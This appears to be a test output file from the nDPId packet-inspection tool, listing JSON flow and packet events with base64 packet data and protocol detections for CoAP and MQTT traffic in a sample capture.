+00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1333957720773,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61047,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1333957720,"pkt_ts_usec":773953,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":90,"pkt_l4_len":36,"pkt":"ACOJtMwBSF1gwJdKht1gAAAAACQRQCABDagCFRFxoQvLSI+DV\/YgAQYgAAg12QAAAAAAAAAQ7ncWMwAkKH5FAYp0chYzKy53ZWxsLWtub3duBGNvcmUQEj3U"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1333957720773,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61047,"dst_port":5683,"l4_proto":"udp","ndpi": {"proto":"COAP","breed":"Safe","category":"RPC"}} +00507{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":6,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1333957720773,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip6","src_ip":"2001:da8:215:1171:a10b:cb48:8f83:57f6","dst_ip":"2001:620:8:35d9::10","src_port":61047,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1375090528017,"flow_last_seen":0,"flow_tot_l4_data_len":27,"flow_min_l4_data_len":27,"flow_max_l4_data_len":27,"flow_avg_l4_data_len":27,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":33499,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090528,"pkt_ts_usec":17876,"pkt_caplen":81,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":81,"pkt_l4_len":27,"pkt":"uCfrprIvACTop0mhht1gAAAAABsRQLu7AAAAAAAAAAAAAAAAAAG7uwAAAAAAAAAAAAAAAAADgtsWMwAblIJCAekbB5C4c2VwYXJhdGUQ0SMR"} +00486{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1375090528017,"flow_last_seen":0,"flow_tot_l4_data_len":27,"flow_min_l4_data_len":27,"flow_max_l4_data_len":27,"flow_avg_l4_data_len":27,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":33499,"dst_port":5683,"l4_proto":"udp","ndpi": {"proto":"COAP","breed":"Safe","category":"RPC"}} +00425{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090528,"pkt_ts_usec":127292,"pkt_caplen":66,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":66,"pkt_l4_len":12,"pkt":"ACTop0mhuCfrprIvht1gAAAAAAwRQLu7AAAAAAAAAAAAAAAAAAO7uwAAAAAAAAAAAAAAAAABFjOC2wAMpjBgAOkb"} +00597{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090529,"pkt_ts_usec":153497,"pkt_caplen":191,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":191,"pkt_l4_len":137,"pkt":"ACTop0mhuCfrprIvht1gAAAAAIkRQLu7AAAAAAAAAAAAAAAAAAO7uwAAAAAAAAAAAAAAAAABFjOC2wCJMIhCRVcPB5D\/VGhpcyBtZXNzYWdlIHdhcyBzZW50IGJ5IGEgc2VwYXJhdGUgcmVzcG9uc2UuCllvdXIgY2xpZW50IHdpbGwgbmVlZCB0byBhY2tub3dsZWRnZSBpdCwgb3RoZXJ3aXNlIGl0IHdpbGwgYmUgcmV0cmFuc21pdHRlZC4="} +00425{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090529,"pkt_ts_usec":165959,"pkt_caplen":66,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":66,"pkt_l4_len":12,"pkt":"uCfrprIvACTop0mhht1gAAAAAAwRQLu7AAAAAAAAAAAAAAAAAAG7uwAAAAAAAAAAAAAAAAADgtsWMwAMOD1gAFcP"} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1375090926676,"flow_last_seen":0,"flow_tot_l4_data_len":31,"flow_min_l4_data_len":31,"flow_max_l4_data_len":31,"flow_avg_l4_data_len":31,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":50250,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090926,"pkt_ts_usec":676575,"pkt_caplen":85,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":85,"pkt_l4_len":31,"pkt":"uCfrprIvACTop0mhht1gAAAAAB8RQLu7AAAAAAAAAAAAAAAAAAG7uwAAAAAAAAAAAAAAAAADxEoWMwAfdD1AAs6gt3N0b3JhZ2X\/bXlyZXNvdXJjZQ=="} +00487{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1375090926676,"flow_last_seen":0,"flow_tot_l4_data_len":31,"flow_min_l4_data_len":31,"flow_max_l4_data_len":31,"flow_avg_l4_data_len":31,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":50250,"dst_port":5683,"l4_proto":"udp","ndpi": {"proto":"COAP","breed":"Safe","category":"RPC"}} +00454{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090926,"pkt_ts_usec":735550,"pkt_caplen":85,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":85,"pkt_l4_len":31,"pkt":"ACTop0mhuCfrprIvht1gAAAAAB8RQLu7AAAAAAAAAAAAAAAAAAO7uwAAAAAAAAAAAAAAAAABFjPESgAfeP9gQc6gh3N0b3JhZ2UKbXlyZXNvdXJjZQ=="} +00438{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090935,"pkt_ts_usec":26698,"pkt_caplen":73,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":73,"pkt_l4_len":19,"pkt":"uCfrprIvACTop0mhht1gAAAAABMRQLu7AAAAAAAAAAAAAAAAAAG7uwAAAAAAAAAAAAAAAAADxEoWMwATY+NAA86h\/215ZGF0YQ=="} +00425{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090935,"pkt_ts_usec":86791,"pkt_caplen":66,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":66,"pkt_l4_len":12,"pkt":"ACTop0mhuCfrprIvht1gAAAAAAwRQLu7AAAAAAAAAAAAAAAAAAO7uwAAAAAAAAAAAAAAAAABFjPESgAMfrZghc6h"} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1375090935240,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":46819,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090935,"pkt_ts_usec":240020,"pkt_caplen":92,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":92,"pkt_l4_len":38,"pkt":"uCfrprIvACTop0mhht1gAAAAACYRQLu7AAAAAAAAAAAAAAAAAAG7uwAAAAAAAAAAAAAAAAADtuMWMwAmaNlAA5Uit3N0b3JhZ2UKbXlyZXNvdXJjZf9teWRhdGE="} +00487{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":14,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1375090935240,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":46819,"dst_port":5683,"l4_proto":"udp","ndpi": {"proto":"COAP","breed":"Safe","category":"RPC"}} +00426{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375090935,"pkt_ts_usec":293289,"pkt_caplen":66,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":66,"pkt_l4_len":12,"pkt":"ACTop0mhuCfrprIvht1gAAAAAAwRQLu7AAAAAAAAAAAAAAAAAAO7uwAAAAAAAAAAAAAAAAABFjO24wAMxd1gRJUi"} +00454{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375091005,"pkt_ts_usec":616928,"pkt_caplen":85,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":85,"pkt_l4_len":31,"pkt":"uCfrprIvACTop0mhht1gAAAAAB8RQLu7AAAAAAAAAAAAAAAAAAG7uwAAAAAAAAAAAAAAAAADtuMWMwAfsCNAAZUjt3N0b3JhZ2UKbXlyZXNvdXJjZQ=="} +00439{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375091005,"pkt_ts_usec":672713,"pkt_caplen":73,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":73,"pkt_l4_len":19,"pkt":"ACTop0mhuCfrprIvht1gAAAAABMRQLu7AAAAAAAAAAAAAAAAAAO7uwAAAAAAAAAAAAAAAAABFjO24wATioZgRZUj\/215ZGF0YQ=="} +00454{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375091022,"pkt_ts_usec":221897,"pkt_caplen":85,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":85,"pkt_l4_len":31,"pkt":"uCfrprIvACTop0mhht1gAAAAAB8RQLu7AAAAAAAAAAAAAAAAAAG7uwAAAAAAAAAAAAAAAAADtuMWMwAfsB9ABJUkt3N0b3JhZ2UKbXlyZXNvdXJjZQ=="} +00426{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1375091022,"pkt_ts_usec":272173,"pkt_caplen":66,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":66,"pkt_l4_len":12,"pkt":"ACTop0mhuCfrprIvht1gAAAAAAwRQLu7AAAAAAAAAAAAAAAAAAO7uwAAAAAAAAAAAAAAAAABFjO24wAMxd1gQpUk"} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":20,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1375090528017,"flow_last_seen":1375090529165,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":12,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":33499,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":20,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1375090926676,"flow_last_seen":1375090935086,"flow_tot_l4_data_len":93,"flow_min_l4_data_len":12,"flow_max_l4_data_len":31,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":50250,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":20,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1375090935240,"flow_last_seen":1375091022272,"flow_tot_l4_data_len":143,"flow_min_l4_data_len":12,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip6","src_ip":"bbbb::1","dst_ip":"bbbb::3","src_port":46819,"dst_port":5683,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1455907243976,"flow_last_seen":0,"flow_tot_l4_data_len":22,"flow_min_l4_data_len":22,"flow_max_l4_data_len":22,"flow_avg_l4_data_len":22,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":53522,"dst_port":17501,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907243,"pkt_ts_usec":976582,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":22,"pkt":"CAAnmO\/hCAAnAERyCABFAAAqELhAAIAG+F7AqDgBwKg4ZdESRF16higakEiEGVAYAQAwoAAAwAAAAAAA"} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1455907243976,"flow_last_seen":0,"flow_tot_l4_data_len":22,"flow_min_l4_data_len":22,"flow_max_l4_data_len":22,"flow_avg_l4_data_len":22,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":53522,"dst_port":17501,"l4_proto":"tcp","ndpi": {"proto":"MQTT","breed":"Acceptable","category":"RPC"}} +00414{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907243,"pkt_ts_usec":977291,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"CAAnAERyCAAnmO\/hCABFAAAqrABAAEAGnRbAqDhlwKg4AURd0RKQSIQZeoYoHFAYAOXx0wAA0AA="} +00419{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907244,"pkt_ts_usec":175731,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoELlAAIAG+F\/AqDgBwKg4ZdESRF16higckEiEG1AQAQDwpgAAAAAAAAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1455907258332,"flow_last_seen":0,"flow_tot_l4_data_len":22,"flow_min_l4_data_len":22,"flow_max_l4_data_len":22,"flow_avg_l4_data_len":22,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":53523,"dst_port":17501,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907258,"pkt_ts_usec":332152,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":22,"pkt":"CAAnmO\/hCAAnAERyCABFAAAqELpAAIAG+FzAqDgBwKg4ZdETRF1NYgogm49Jd1AYAQCrGAAAwAAAAAAA"} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1455907258332,"flow_last_seen":0,"flow_tot_l4_data_len":22,"flow_min_l4_data_len":22,"flow_max_l4_data_len":22,"flow_avg_l4_data_len":22,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":53523,"dst_port":17501,"l4_proto":"tcp","ndpi": {"proto":"MQTT","breed":"Acceptable","category":"RPC"}} +00416{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907258,"pkt_ts_usec":332556,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"CAAnAERyCAAnmO\/hCABFAAAqf0dAAEAGyc\/AqDhlwKg4AURd0RObj0l3TWIKIlAYAOXx0wAA0AA="} +00419{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907258,"pkt_ts_usec":532086,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoELtAAIAG+F3AqDgBwKg4ZdETRF1NYgoim49JeVAQAQBrHwAAAAAAAAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1455907267002,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":53528,"dst_port":17501,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":2212,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnmO\/hCAAnAERyCABFAAA0ELxAAIAG+FDAqDgBwKg4ZdEYRF3fAvFmAAAAAIACIAB3eQAAAgQFtAEDAwgBAQQC"} +00425{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":2284,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnAERyCAAnmO\/hCABFAAA0AABAAEAGSQ3AqDhlwKg4AURd0RiuSO3C3wLxZ4ASchDx3QAAAgQFtAEBBAIBAwMH"} +00417{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":2460,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAnmO\/hCAAnAERyCABFAAAoEL1AAIAG+FvAqDgBwKg4ZdEYRF3fAvFnrkjtw1AQAQA7MAAAAAAAAAAA"} +00437{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":7095,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"CAAnmO\/hCAAnAERyCABFAAA7EL5AAIAG+EfAqDgBwKg4ZdEYRF3fAvFnrkjtw1AYAQCebQAAEBEABE1RVFQEAgA8AAVCdXM0MQ=="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1455907267002,"flow_last_seen":1455907267007,"flow_tot_l4_data_len":123,"flow_min_l4_data_len":20,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":53528,"dst_port":17501,"l4_proto":"tcp","ndpi": {"proto":"MQTT","breed":"Acceptable","category":"RPC"}} +00409{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":7143,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CAAnAERyCAAnmO\/hCABFAAAolKdAAEAGtHHAqDhlwKg4AURd0RiuSO3D3wLxelAQAOXx0QAA"} +00417{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":8181,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"CAAnAERyCAAnmO\/hCABFAAAslKhAAEAGtGzAqDhlwKg4AURd0RiuSO3D3wLxelAYAOXx1QAAIAIAAA=="} +00492{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":16406,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"CAAnmO\/hCAAnAERyCABFAABkEL9AAIAG+B3AqDgBwKg4ZdEYRF3fAvF6rkjtx1AYAQBtHAAAMzoACUJ1czE3SW5mbwABVXBkYXRlIHRyaWdnZXJlZCBGcmkgRmViIDE5IDIwOjQxOjA3IEVFVCAyMDE2"} +00418{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":17235,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"CAAnAERyCAAnmO\/hCABFAAAslKlAAEAGtGvAqDhlwKg4AURd0RiuSO3H3wLxtlAYAOXx1QAAQAIAAQ=="} +00430{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":19201,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"CAAnmO\/hCAAnAERyCABFAAA3EMBAAIAG+EnAqDgBwKg4ZdEYRF3fAvG2rkjty1AYAQBdXAAAgg0AAgAIQnVzMTdDbWQB"} +00419{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":20731,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"CAAnAERyCAAnmO\/hCABFAAAtlKpAAEAGtGnAqDhlwKg4AURd0RiuSO3L3wLxxVAYAOXx1gAAkAMAAgE="} +00526{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907267,"pkt_ts_usec":21212,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"CAAnAERyCAAnmO\/hCABFAAB8lKtAAEAGtBnAqDhlwKg4AURd0RiuSO3Q3wLxxVAYAOXyJQAAMFIACEJ1czE3Q21keyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDoyNzo0OSBFRVQgMjAxNiJ9"} 